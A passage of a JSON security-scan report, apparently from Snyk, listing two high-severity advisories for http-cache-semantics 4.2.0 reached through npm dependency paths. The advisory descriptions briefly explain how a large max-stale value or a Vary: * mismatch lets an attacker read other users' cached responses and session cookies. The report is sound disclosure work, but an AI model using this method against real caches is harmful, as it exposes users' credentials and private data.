"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
